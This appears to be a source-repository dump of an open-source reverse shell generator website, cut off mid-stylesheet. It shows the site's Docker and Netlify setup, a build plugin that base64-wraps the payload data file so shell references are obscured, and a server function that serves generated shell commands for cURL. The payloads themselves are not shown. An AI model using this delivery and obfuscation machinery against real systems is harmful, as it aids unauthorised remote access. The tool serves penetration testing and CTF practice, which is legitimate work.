├── Dockerfile ├── .gitignore ├── favicon.ico ├── assets ├── ComicMono.ttf ├── meme_doge.jpg ├── floppy-disk-solid.svg ├── axios.min.js ├── popper-1.16.1.min.js └── bootstrap-4.5.2.min.js ├── parcel-transformer-obfuscation ├── README.md ├── package.json └── src │ └── index.js ├── netlify.toml ├── package.json ├── .parcelrc ├── LICENSE ├── js ├── light-mode-switch.js ├── raw-link.js └── script.js ├── server_functions └── raw.js ├── css ├── dark-mode.css ├── light-mode.css └── meme-mode.css ├── .all-contributorsrc ├── README.md └── index.html /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM fnichol/uhttpd 2 | 3 | COPY . /www -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .netlify/ 2 | .parcel-cache/ 3 | dist/ 4 | node_modules/ 5 | package-lock.json 6 | -------------------------------------------------------------------------------- /favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UberGuidoZ/reverse-shell-generator/HEAD/favicon.ico -------------------------------------------------------------------------------- /assets/ComicMono.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UberGuidoZ/reverse-shell-generator/HEAD/assets/ComicMono.ttf -------------------------------------------------------------------------------- /assets/meme_doge.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UberGuidoZ/reverse-shell-generator/HEAD/assets/meme_doge.jpg -------------------------------------------------------------------------------- /parcel-transformer-obfuscation/README.md: -------------------------------------------------------------------------------- 1 | This [Parcel](https://parceljs.org/) plugin aims to obfuscate JavaScript assets as part of the netlify build process. 2 | -------------------------------------------------------------------------------- /parcel-transformer-obfuscation/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "parcel-transformer-obfuscation", 3 | "version": "0.0.1", 4 | "private": true, 5 | "main": "src/index.js", 6 | "engines": { 7 | "parcel": "2.x" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /netlify.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | functions = "server_functions" 3 | 4 | [dev] 5 | publish = "." 6 | port = 8888 7 | framework = "#static" 8 | 9 | [context.production] 10 | command = "npm run build" 11 | publish = "./dist" 12 | 13 | [[redirects]] 14 | from = "/*" 15 | to = "/.netlify/functions/raw" 16 | status = 200 17 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "source": "index.html", 3 | "scripts": { 4 | "build": "rm -rf ./dist && ./node_modules/.bin/parcel build" 5 | }, 6 | "targets": { 7 | "default": { 8 | "sourceMap": false 9 | } 10 | }, 11 | "devDependencies": { 12 | "parcel": "2.3.2", 13 | "parcel-transformer-obfuscation": "file:parcel-transformer-obfuscation" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /.parcelrc: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "@parcel/config-default", 3 | "transformers": { 4 | // Leave jQuery/Bootstrap assets as-is, as they're already minified 5 | "*jquery-3.5.1.slim.min.js": [], 6 | "*bootstrap-4.5.2.min.js": [], 7 | 8 | // Additionally 'obfuscate' files which may contain shell references 9 | "*data.js": [ 10 | "...", 11 | "parcel-transformer-obfuscation" 12 | ] 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /assets/floppy-disk-solid.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /parcel-transformer-obfuscation/src/index.js: -------------------------------------------------------------------------------- 1 | const parcel = require('@parcel/plugin'); 2 | 3 | function base64(value) { 4 | return Buffer.from(value).toString('base64'); 5 | } 6 | 7 | module.exports = new parcel.Transformer({ 8 | loadConfig({ config, options }) { 9 | return config 10 | }, 11 | 12 | async transform({ asset, config, options, logger}) { 13 | const source = await asset.getCode(); 14 | 15 | // Replace the asset with the 'obfuscated' script that will be evaluated on page load 16 | const obfuscated_source = base64(source) 17 | asset.setCode(`Function(atob("${obfuscated_source}"))();`); 18 | asset.setMap(null); 19 | 20 | return [asset]; 21 | } 22 | }); 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Ryan Montgomery 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /js/light-mode-switch.js: -------------------------------------------------------------------------------- 1 | var themeSelector = $("#theme-selector"); 2 | window.addEventListener("load", function () { 3 | if (themeSelector) { 4 | initTheme(); 5 | themeSelector.on('change', function() { 6 | resetTheme(this.value); 7 | }); 8 | } 9 | }); 10 | 11 | /** 12 | * Summary: function that adds or removes the attribute 'data-theme' depending if 13 | * the switch is 'on' or 'off'. 14 | * 15 | * Description: initTheme is a function that uses localStorage from JavaScript DOM, 16 | * to store the value of the HTML switch. If the switch was already switched to 17 | * 'on' it will set an HTML attribute to the body named: 'data-theme' to a 'light' 18 | * value. If it is the first time opening the page, or if the switch was off the 19 | * 'data-theme' attribute will not be set. 20 | * @return {void} 21 | */ 22 | function initTheme() { 23 | var currentTheme = localStorage.getItem("currentTheme"); 24 | 25 | if (currentTheme == null) { 26 | document.body.removeAttribute("data-theme") 27 | } else { 28 | document.body.setAttribute("data-theme", currentTheme) 29 | $("#theme-selector").val(currentTheme).change(); 30 | } 31 | } 32 | 33 | /** 34 | * Summary: resetTheme checks if the switch is 'on' or 'off' and if it is toggled 35 | * on it will set the HTML attribute 'data-theme' to light so the light-theme CSS is 36 | * applied. 37 | * @return {void} 38 | */ 39 | function resetTheme(currentTheme) { 40 | if (currentTheme !== "dark") { 41 | document.body.setAttribute("data-theme", currentTheme); 42 | localStorage.setItem("currentTheme", currentTheme); 43 | } else { 44 | document.body.removeAttribute("data-theme"); 45 | localStorage.removeItem("currentTheme"); 46 | } 47 | } -------------------------------------------------------------------------------- /js/raw-link.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Generates a RawLink for the reverse shell generator. If the user hasn't changed 3 | * the default generated shell command, the generated URL will contain the original 4 | * parameters to generate the required command on demand. 5 | * 6 | * Otherwise a unique URL is created which inlined the current user provided command. 7 | */ 8 | const RawLink = { 9 | generate: (rsg) => { 10 | const commandSelector = rsg.uiElements[rsg.commandType].command; 11 | const currentCommandElement = document.querySelector(commandSelector); 12 | const defaultGeneratedCommand = rsg.generateReverseShellCommand(); 13 | const isUserProvidedCommand = currentCommandElement.innerHTML != RawLink.escapeHTML(defaultGeneratedCommand); 14 | 15 | if (isUserProvidedCommand) { 16 | return RawLink.withCustomValue(currentCommandElement.innerText) 17 | 18 | } 19 | return RawLink.withDefaultPayload(rsg); 20 | }, 21 | 22 | escapeHTML(html) { 23 | var element = document.createElement('div'); 24 | element.innerHTML = html; 25 | return element.innerHTML; 26 | }, 27 | 28 | withDefaultPayload: (rsg) => { 29 | const name = rsg.selectedValues[rsg.commandType]; 30 | const queryParams = new URLSearchParams(); 31 | queryParams.set('ip', rsg.getIP()); 32 | queryParams.set('port', rsg.getPort()); 33 | queryParams.set('shell', rsg.getShell()); 34 | queryParams.set('encoding', rsg.getShell()); 35 | 36 | return `/${encodeURIComponent(name)}?${queryParams}` 37 | }, 38 | 39 | withCustomValue: (value) => { 40 | const queryParams = new URLSearchParams(); 41 | queryParams.set('value', value) 42 | return `/raw?${queryParams}` 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /server_functions/raw.js: -------------------------------------------------------------------------------- 1 | const { rsgData } = require("../js/data.js"); 2 | 3 | const insertParameters = function (command, params) { 4 | // TODO: Extract the inlined JS from index.html into a new file, 5 | // so the insertParameters + encoding logic can be reused 6 | const encoder = (value) => value; 7 | 8 | return command 9 | .replace(encoder('{ip}'), encoder(params.ip)) 10 | .replace(encoder('{port}'), encoder(String(params.port))) 11 | .replace(encoder('{shell}'), encoder(params.shell)) 12 | } 13 | 14 | const generateCommand = function (event, _context) { 15 | const { path, queryStringParameters } = event; 16 | 17 | const requiredName = decodeURIComponent(path.substring(1)); 18 | const selectedItem = rsgData.reverseShellCommands.find(function ({ name }) { 19 | return requiredName === name; 20 | }); 21 | 22 | if (!selectedItem) { 23 | return { 24 | statusCode: 401, 25 | body: `Command name '${requiredName}' not found` 26 | } 27 | } 28 | 29 | const { command } = selectedItem; 30 | const result = insertParameters(command, queryStringParameters); 31 | 32 | return { 33 | statusCode: 200, 34 | body: result 35 | } 36 | } 37 | 38 | const extractRawValue = function (event) { 39 | const { queryStringParameters } = event; 40 | 41 | return { 42 | statusCode: 200, 43 | body: queryStringParameters.value 44 | } 45 | } 46 | 47 | exports.handler = async function (event, _context) { 48 | const { queryStringParameters } = event; 49 | const defaultHeaders = { headers: { 'Content-Type': "text/plain;charset=UTF-8" } }; 50 | if (queryStringParameters.value) { 51 | return { 52 | ...defaultHeaders, 53 | ...extractRawValue(event) 54 | } 55 | } 56 | return { 57 | ...defaultHeaders, 58 | ...generateCommand(event) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /css/dark-mode.css: -------------------------------------------------------------------------------- 1 | 2 | body { 3 | background-color: #0f0f0f !important; 4 | } 5 | 6 | .prompt-sign { 7 | position: absolute; 8 | top: 25px; 9 | left: 40px; 10 | pointer-events: none; 11 | font-size: 1em; 12 | } 13 | 14 | .highlighted-parameter { 15 | color: #426992; 16 | font-weight: bold; 17 | font-size: 1em; 18 | } 19 | 20 | .highlighted-warning { 21 | color: red; 22 | font-weight: bold; 23 | } 24 | 25 | .custom-switch label { 26 | cursor: pointer; 27 | user-select: none; 28 | } 29 | 30 | .nav-tabs { 31 | border-bottom: none !important; 32 | } 33 | 34 | .nav-tabs .nav-link:hover { 35 | background-color: #375a7f; 36 | } 37 | 38 | .nav-tabs .nav-link.active { 39 | background-color: #375a7f; 40 | } 41 | 42 | _:-ms-fullscreen, :root body { 43 | /* IE11 */ 44 | overflow-y: scroll; 45 | } 46 | 47 | #listener-command { 48 | border: none !important; 49 | border-radius: 5px; 50 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */ 51 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px; 52 | } 53 | 54 | #reverse-shell-command { 55 | border: none !important; 56 | border-radius: 5px; 57 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */ 58 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px; 59 | background-color: rgb(70, 70, 70); 60 | max-height: 20rem; 61 | } 62 | 63 | #bind-shell-command { 64 | border: none !important; 65 | border-radius: 5px; 66 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */ 67 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px; 68 | background-color: rgb(70, 70, 70); 69 | max-height: 20rem; 70 | } 71 | 72 | #msfvenom-command { 73 | border: none !important; 74 | border-radius: 5px; 75 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */ 76 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px; 77 | background-color: rgb(70, 70, 70); 78 | max-height: 20rem; 79 | } 80 | 81 | #hoaxshell-command { 82 | border: none !important; 83 | border-radius: 5px; 84 | /*box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); original */ 85 | box-shadow: rgba(0, 0, 0, 0.27) 0px -1px 10px, rgba(0, 0, 0, 0.36) 0px 6px 6px; 86 | background-color: rgb(70, 70, 70); 87 | max-height: 20rem; 88 | } 89 | 90 | #theme-selector { 91 | width: 100px; 92 | height: 30px; 93 | font-size: 13px; 94 | margin-top: 5px; 95 | } 96 | 97 | .custom-select { 98 | background-color: #646464; 99 | color: white; 100 | } 101 | 102 | .container { 103 | padding: 20px; 104 | border-radius: 20px; 105 | box-shadow: rgb(0, 0, 0) 0px 13px 27px -5px, rgb(0, 0, 0) 0px 8px 16px -8px; 106 | height: 100% !important; 107 | background: #202020; 108 | margin: 20px auto; 109 | } 110 | 111 | h2 { 112 | color: white; 113 | text-align: center; 114 | } 115 | 116 | .pre-wrap { 117 | white-space: pre-wrap; 118 | } 119 | 120 | .card-body { 121 | max-height: 40rem; 122 | } 123 | 124 | .list-group-item.active, .list-group-item-action:focus, .list-group-item-action:hover { 125 | background-color: #375a7f; 126 | } 127 | 128 | .github-corner:hover .octo-arm { 129 | animation: octocat-wave 560ms ease-in-out 130 | } 131 | 132 | .download-svg { 133 | height: 20px; 134 | width: 20px; 135 | filter: invert(100%) sepia(0%) saturate(7497%) hue-rotate(347deg) brightness(103%) contrast(99%); 136 | } 137 | .download-svg:hover { 138 | filter: invert(100%) sepia(0%) saturate(7497%) hue-rotate(347deg) brightness(50%) contrast(99%); 139 | } 140 | @keyframes octocat-wave { 141 | 0%, 100% { 142 | transform: rotate(0) 143 | } 144 | 20%, 60% { 145 | transform: rotate(-25deg) 146 | } 147 | 40%, 80% { 148 | transform: rotate(10deg) 149 | } 150 | } 151 | 152 | @media (max-width:500px) { 153 | .github-corner:hover .octo-arm { 154 | animation: none 155 | } 156 | .github-corner .octo-arm { 157 | animation: octocat-wave 560ms ease-in-out 158 | } 159 | } 160 | 161 | button { 162 | outline: none; 163 | } 164 | 165 | .shadow { 166 | margin-bottom: 0px !important; 167 | } 168 | 169 | .middle-card { 170 | min-height: 500px; 171 | max-height: 100%; 172 | overflow-y: auto; 173 | padding: 1.5rem; 174 | } -------------------------------------------------------------------------------- /.all-contributorsrc: -------------------------------------------------------------------------------- 1 | { 2 | "files": [ 3 | "README.md" 4 | ], 5 | "imageSize": 100, 6 | "commit": false, 7 | "contributors": [ 8 | { 9 | "login": "0dayCTF", 10 | "name": "Ryan Montgomery", 11 | "avatar_url": "https://avatars.githubusercontent.com/u/44453666?v=4", 12 | "profile": "http://ryanmontgomery.me", 13 | "contributions": [ 14 | "review" 15 | ] 16 | }, 17 | { 18 | "login": "briskets", 19 | "name": "Chris Wild", 20 | "avatar_url": "https://avatars.githubusercontent.com/u/58673953?v=4", 21 | "profile": "https://briskets.io", 22 | "contributions": [ 23 | "projectManagement", 24 | "tool", 25 | "infra", 26 | "design" 27 | ] 28 | }, 29 | { 30 | "login": "Papadope", 31 | "name": "Chris Papadopoulos", 32 | "avatar_url": "https://avatars.githubusercontent.com/u/28659477?v=4", 33 | "profile": "https://papadope.net/", 34 | "contributions": [ 35 | "design" 36 | ] 37 | }, 38 | { 39 | "login": "AlanFoster", 40 | "name": "Alan Foster", 41 | "avatar_url": "https://avatars.githubusercontent.com/u/1271782?v=4", 42 | "profile": "https://www.alanfoster.me/", 43 | "contributions": [ 44 | "infra" 45 | ] 46 | }, 47 | { 48 | "login": "MuirlandOracle", 49 | "name": "AG", 50 | "avatar_url": "https://avatars.githubusercontent.com/u/58998623?v=4", 51 | "profile": "https://muir.land", 52 | "contributions": [ 53 | "maintenance" 54 | ] 55 | }, 56 | { 57 | "login": "0x03f3", 58 | "name": "Joseph Rose", 59 | "avatar_url": "https://avatars.githubusercontent.com/u/24409121?v=4", 60 | "profile": "https://github.com/0x03f3", 61 | "contributions": [ 62 | "ideas" 63 | ] 64 | }, 65 | { 66 | "login": "JabbaSec", 67 | "name": "Jabba", 68 | "avatar_url": "https://avatars.githubusercontent.com/u/68778279?v=4", 69 | "profile": "https://github.com/JabbaSec", 70 | "contributions": [ 71 | "data" 72 | ] 73 | }, 74 | { 75 | "login": "Jake-Ruston", 76 | "name": "Jake Ruston", 77 | "avatar_url": "https://avatars.githubusercontent.com/u/22551835?v=4", 78 | "profile": "http://www.jake-ruston.com", 79 | "contributions": [ 80 | "data" 81 | ] 82 | }, 83 | { 84 | "login": "H0j3n", 85 | "name": "Muhammad Ali", 86 | "avatar_url": "https://avatars.githubusercontent.com/u/51261763?v=4", 87 | "profile": "https://h0j3n.github.io/", 88 | "contributions": [ 89 | "tool" 90 | ] 91 | }, 92 | { 93 | "login": "edrapac", 94 | "name": "edrapac", 95 | "avatar_url": "https://avatars.githubusercontent.com/u/33971688?v=4", 96 | "profile": "http://sprucelab.site", 97 | "contributions": [ 98 | "tool" 99 | ] 100 | }, 101 | { 102 | "login": "epi052", 103 | "name": "epi", 104 | "avatar_url": "https://avatars.githubusercontent.com/u/43392618?v=4", 105 | "profile": "https://epi052.gitlab.io/notes-to-self/", 106 | "contributions": [ 107 | "tool" 108 | ] 109 | }, 110 | { 111 | "login": "bee-san", 112 | "name": "Brandon", 113 | "avatar_url": "https://avatars.githubusercontent.com/u/10378052?v=4", 114 | "profile": "https://skerritt.blog", 115 | "contributions": [ 116 | "code" 117 | ] 118 | }, 119 | { 120 | "login": "robiot", 121 | "name": "Robiot", 122 | "avatar_url": "https://avatars.githubusercontent.com/u/68228472?v=4", 123 | "profile": "https://robiot.github.io/", 124 | "contributions": [ 125 | "content", 126 | "maintenance" 127 | ] 128 | }, 129 | { 130 | "login": "Hydragyrum", 131 | "name": "Adam Bertrand", 132 | "avatar_url": "https://avatars.githubusercontent.com/u/4928181?v=4", 133 | "profile": "https://github.com/Hydragyrum", 134 | "contributions": [ 135 | "content" 136 | ] 137 | }, 138 | { 139 | "login": "rohitkumarankam", 140 | "name": "Rohit Kumar Ankam", 141 | "avatar_url": "https://avatars.githubusercontent.com/u/70012972?v=4", 142 | "profile": "http://rohitkumarankam.com", 143 | "contributions": [ 144 | "tool" 145 | ] 146 | }, 147 | { 148 | "login": "t3l3machus", 149 | "name": "Panagiotis Chartas", 150 | "avatar_url": "https://avatars.githubusercontent.com/u/75489922?v=4", 151 | "profile": "https://github.com/t3l3machus", 152 | "contributions": [ 153 | "infra", 154 | "tool" 155 | ] 156 | } 157 | ], 158 | "contributorsPerLine": 7, 159 | "projectName": "reverse-shell-generator", 160 | "projectOwner": "0dayCTF", 161 | "repoType": "github", 162 | "repoHost": "https://github.com", 163 | "skipCi": true, 164 | "commitConvention": "angular" 165 | } 166 | -------------------------------------------------------------------------------- /css/light-mode.css: -------------------------------------------------------------------------------- 1 | /* 2 | Ain't got time for using CSS the right way. !important everything! 3 | */ 4 | 5 | [data-theme="light"] { 6 | background-color: #E1E1E1 !important; 7 | } 8 | 9 | [data-theme="light"] .card { 10 | background-color: white !important; 11 | color: #000; 12 | } 13 | 14 | [data-theme="light"] .bg-white { 15 | background-color: rgb(221, 215, 215) !important; 16 | } 17 | 18 | [data-theme="light"] .bg-dark { 19 | background-color: #ecefff !important; 20 | } 21 | 22 | [data-theme="light"] .github-corner > svg{ 23 | fill: #151513 !important; 24 | color: #fff !important; 25 | } 26 | 27 | [data-theme="light"] .rainbow { 28 | color: #000; 29 | } 30 | 31 | [data-theme="light"] .prompt-sign { 32 | position: absolute; 33 | top: 25px; 34 | left: 40px; 35 | pointer-events: none; 36 | font-size: 1em; 37 | color: #2e3e86; 38 | } 39 | 40 | [data-theme="light"] .input-group-text { 41 | background-color: #c0c8f1; 42 | color: #000; 43 | } 44 | 45 | [data-theme="light"] .btn { 46 | background-color: #1e63b8; 47 | color: #fff; 48 | border: none; 49 | } 50 | 51 | [data-theme="light"] .highlighted-parameter { 52 | color: #7223b5; 53 | font-weight: bold; 54 | font-size: 1em; 55 | } 56 | 57 | [data-theme="light"] .highlighted-warning { 58 | color: red; 59 | font-weight: bold; 60 | } 61 | 62 | [data-theme="light"] .custom-switch label { 63 | cursor: pointer; 64 | user-select: none; 65 | } 66 | 67 | [data-theme="light"] .custom-control-input:checked~.custom-control-label::before { 68 | background-color: #7223b5; 69 | } 70 | 71 | [data-theme="light"] #listener-command { 72 | border: none !important; 73 | border-radius: 5px; 74 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/ 75 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px; 76 | background-color: rgb(45, 139, 135); 77 | color: #000; 78 | } 79 | 80 | [data-theme="light"] #reverse-shell-command { 81 | border: none !important; 82 | border-radius: 5px; 83 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/ 84 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px; 85 | background-color: rgb(45, 139, 135); 86 | color: #000; 87 | max-height: 20rem; 88 | } 89 | 90 | [data-theme="light"] #bind-shell-command { 91 | border: none !important; 92 | border-radius: 5px; 93 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/ 94 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px; 95 | background-color: rgb(45, 139, 135); 96 | color: #000; 97 | max-height: 20rem; 98 | } 99 | 100 | [data-theme="light"] #msfvenom-command { 101 | border: none !important; 102 | border-radius: 5px; 103 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/ 104 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px; 105 | background-color: rgb(45, 139, 135); 106 | color: #000; 107 | max-height: 20rem; 108 | } 109 | 110 | [data-theme="light"] #hoaxshell-command { 111 | border: none !important; 112 | border-radius: 5px; 113 | /*box-shadow: 10px 10px 20px 0px rgba(209, 209, 209, 0.75); original*/ 114 | box-shadow: rgba(153, 153, 153, 0.16) 0px 3px 6px, rgba(123, 122, 122, 0.23) 0px 3px 6px; 115 | background-color: rgb(45, 139, 135); 116 | color: #000; 117 | max-height: 20rem; 118 | } 119 | 120 | [data-theme="light"] .custom-select { 121 | background-color: #f2f2f2; 122 | color: #000; 123 | border-color: #e4e3e2; 124 | } 125 | 126 | [data-theme="light"] .nav-link { 127 | color: #000; 128 | background: transparent; 129 | box-shadow: 5px 5px 5px 0px rgba(209, 209, 209, 0.75); 130 | border: none; 131 | } 132 | 133 | [data-theme="light"] .nav-link:hover { 134 | background-color: #c0c8f1; 135 | } 136 | 137 | [data-theme="light"] .nav-link.active { 138 | background-color: #1e63b8; 139 | color:#fff; 140 | } 141 | 142 | [data-theme="light"] .custom-control-input:checked { 143 | color: #000; 144 | } 145 | 146 | [data-theme="light"] a { 147 | background-color: #f1c6ce; 148 | color: #000; 149 | } 150 | 151 | [data-theme="light"] .list-group-item { 152 | background-color: #ecefff; 153 | color: #000; 154 | border-color: #AAA; 155 | } 156 | 157 | [data-theme="light"] .list-group-item.active { 158 | background-color: #586edd; 159 | border-color: #444; 160 | } 161 | 162 | [data-theme="light"] .list-group-item:hover { 163 | background-color: #c0c8f1; 164 | } 165 | 166 | [data-theme="light"] .list-group-item.hover { 167 | background-color: #c0c8f1; 168 | } 169 | 170 | [data-theme="light"] .container { 171 | padding: 20px; 172 | border-radius: 20px; 173 | box-shadow: rgba(50, 50, 93, 0.25) 0px 13px 27px -5px, rgba(0, 0, 0, 0.3) 0px 8px 16px -8px; 174 | height: 100% !important; 175 | background: #fff; 176 | margin: 20px auto; 177 | } 178 | 179 | [data-theme="light"] .card-title { 180 | color: #000 !important; 181 | } 182 | 183 | [data-theme="light"] .custom-control-label { 184 | color: black; 185 | } 186 | 187 | [data-theme="light"] h2 { 188 | color: white; 189 | text-align: center; 190 | } 191 | 192 | [data-theme="light"] .pre-wrap { 193 | white-space: pre-wrap; 194 | } 195 | 196 | [data-theme="light"] .card-body { 197 | max-height: 40rem; 198 | } 199 | [data-theme="light"] .download-svg { 200 | filter: none; 201 | } 202 | [data-theme="light"] .download-svg:hover { 203 | filter: opacity(50%); 204 | } 205 | @font-face { 206 | font-family: "Comic Mono"; 207 | src: url(../assets/ComicMono.ttf); 208 | } 209 | 210 | .shadow { 211 | margin-bottom: 0px !important; 212 | } 213 | 214 | a[href*="t3l3machus"] { 215 | /* Fixes a minor style bug of the "Download Listener" button */ 216 | background: none; 217 | } 218 | 219 | .middle-card { 220 | min-height: 500px; 221 | max-height: 100%; 222 | overflow-y: auto; 223 | padding: 1.5rem; 224 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # reverse-shell-generator 2 | 3 | [![All Contributors](https://img.shields.io/badge/all_contributors-16-orange.svg?style=flat-square)](#contributors-) 4 | 5 | Hosted Reverse Shell generator with a ton of functionality -- (great for CTFs) 6 |
[![Netlify Status](https://api.netlify.com/api/v1/badges/46dbabe0-23b7-42e6-b04b-e1769dc455ce/deploy-status)](https://app.netlify.com/sites/brave-swartz-5dcdab/deploys) 7 | 8 | ### Hosted Instance 9 | https://revshells.com 10 | 11 | ### Features 12 | 13 | - Generate common listeners and reverse shells 14 | - Save button to download Payloads from browser. 15 | - Raw mode to cURL shells to your machine. 16 | - Button to increment the listening port number by 1 17 | - URI and Base64 encoding 18 | - LocalStorage to persist your configuration 19 | - Dark, Light and Meme Modes 20 | - HoaxShell integration with custom listener (see link below for more information) | Credit: https://github.com/t3l3machus 21 | 22 | ### HoaxShell Listener Docs 23 | 24 | [https://github.com/t3l3machus/hoaxshell/tree/main/revshells](https://github.com/t3l3machus/hoaxshell/tree/main/revshells) 25 | 26 | ### Screenshot 27 | 28 | ![image](https://user-images.githubusercontent.com/70012972/169376352-e6d6b90e-2e2e-46b0-b6f9-0e3f13713e39.png) 29 | 30 | ## Dev 31 | 32 | It's recommended to use the netlify dev command if you're wanting to modify any of the server functions, such as for raw link support: 33 | 34 | ``` 35 | npx netlify dev 36 | ``` 37 | 38 | ## Using Docker 39 | Simply run the following commands within this repository to spin up the instance locally using a Docker container 40 | 41 | ``` 42 | docker build -t reverse_shell_generator . 43 | 44 | docker run -d -p 80:80 reverse_shell_generator 45 | ``` 46 | 47 | Browse to http://localhost:80 48 | 49 | ## Contributors ✨ 50 | 51 | Thanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)): 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 |
Ryan Montgomery
Ryan Montgomery

👀
Chris Wild
Chris Wild

📆 🔧 🚇 🎨
Chris Papadopoulos
Chris Papadopoulos

🎨
Alan Foster
Alan Foster

🚇
AG
AG

🚧
Joseph Rose
Joseph Rose

🤔
Jabba
Jabba

🔣
Jake Ruston
Jake Ruston

🔣
Muhammad Ali
Muhammad Ali

🔧
edrapac
edrapac

🔧
epi
epi

🔧
Brandon
Brandon

💻
Robiot
Robiot

🖋 🚧
Adam Bertrand
Adam Bertrand

🖋
Rohit Kumar Ankam
Rohit Kumar Ankam

🔧
Panagiotis Chartas
Panagiotis Chartas

🚇 🔧
82 | 83 | 84 | 85 | 86 | 87 | 88 | This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome! 89 | -------------------------------------------------------------------------------- /css/meme-mode.css: -------------------------------------------------------------------------------- 1 | /* 2 | Ain't got time for using CSS the right way. !important everything! 3 | */ 4 | 5 | [data-theme="meme"] { 6 | background-color: pink !important; 7 | } 8 | 9 | [data-theme="meme"] .card { 10 | background-color: rgb(175, 139, 173) !important; 11 | color: #000; 12 | } 13 | 14 | [data-theme="meme"] .bg-white { 15 | background-color: rgb(221, 215, 215) !important; 16 | } 17 | 18 | [data-theme="meme"] .bg-dark { 19 | background-color: rgb(231, 212, 224) !important; 20 | } 21 | 22 | [data-theme="meme"] .github-corner > svg{ 23 | fill: #151513 !important; 24 | color: #fff !important; 25 | } 26 | 27 | [data-theme="meme"] .rainbow { 28 | text-shadow: 2px 2px 4px #000; 29 | font-size: 40px; 30 | -webkit-animation: rainbow 5s infinite; 31 | -ms-animation: rainbow 5s infinite; 32 | animation: rainbow 5s infinite; 33 | font-family: 'Comic Mono'; 34 | } 35 | 36 | [data-theme="meme"] .prompt-sign { 37 | position: absolute; 38 | top: 25px; 39 | left: 40px; 40 | pointer-events: none; 41 | font-size: 1em; 42 | color: #2e3e86; 43 | } 44 | 45 | [data-theme="meme"] .input-group-text { 46 | background-color: #f1c6ce; 47 | color: #000; 48 | } 49 | 50 | [data-theme="meme"] .btn { 51 | background-color: #a56096; 52 | color: #000; 53 | border-color: #a56096; 54 | } 55 | 56 | [data-theme="meme"] .highlighted-parameter { 57 | color: #7223b5; 58 | font-weight: bold; 59 | font-size: 1em; 60 | } 61 | 62 | [data-theme="meme"] .highlighted-warning { 63 | color: red; 64 | font-weight: bold; 65 | } 66 | 67 | [data-theme="meme"] .custom-switch label { 68 | cursor: pointer; 69 | user-select: none; 70 | } 71 | 72 | [data-theme="meme"] .custom-control-input:checked~.custom-control-label::before { 73 | background-color: #7223b5; 74 | } 75 | 76 | [data-theme="meme"] #listener-command { 77 | border: none !important; 78 | border-radius: 5px; 79 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */ 80 | box-shadow: 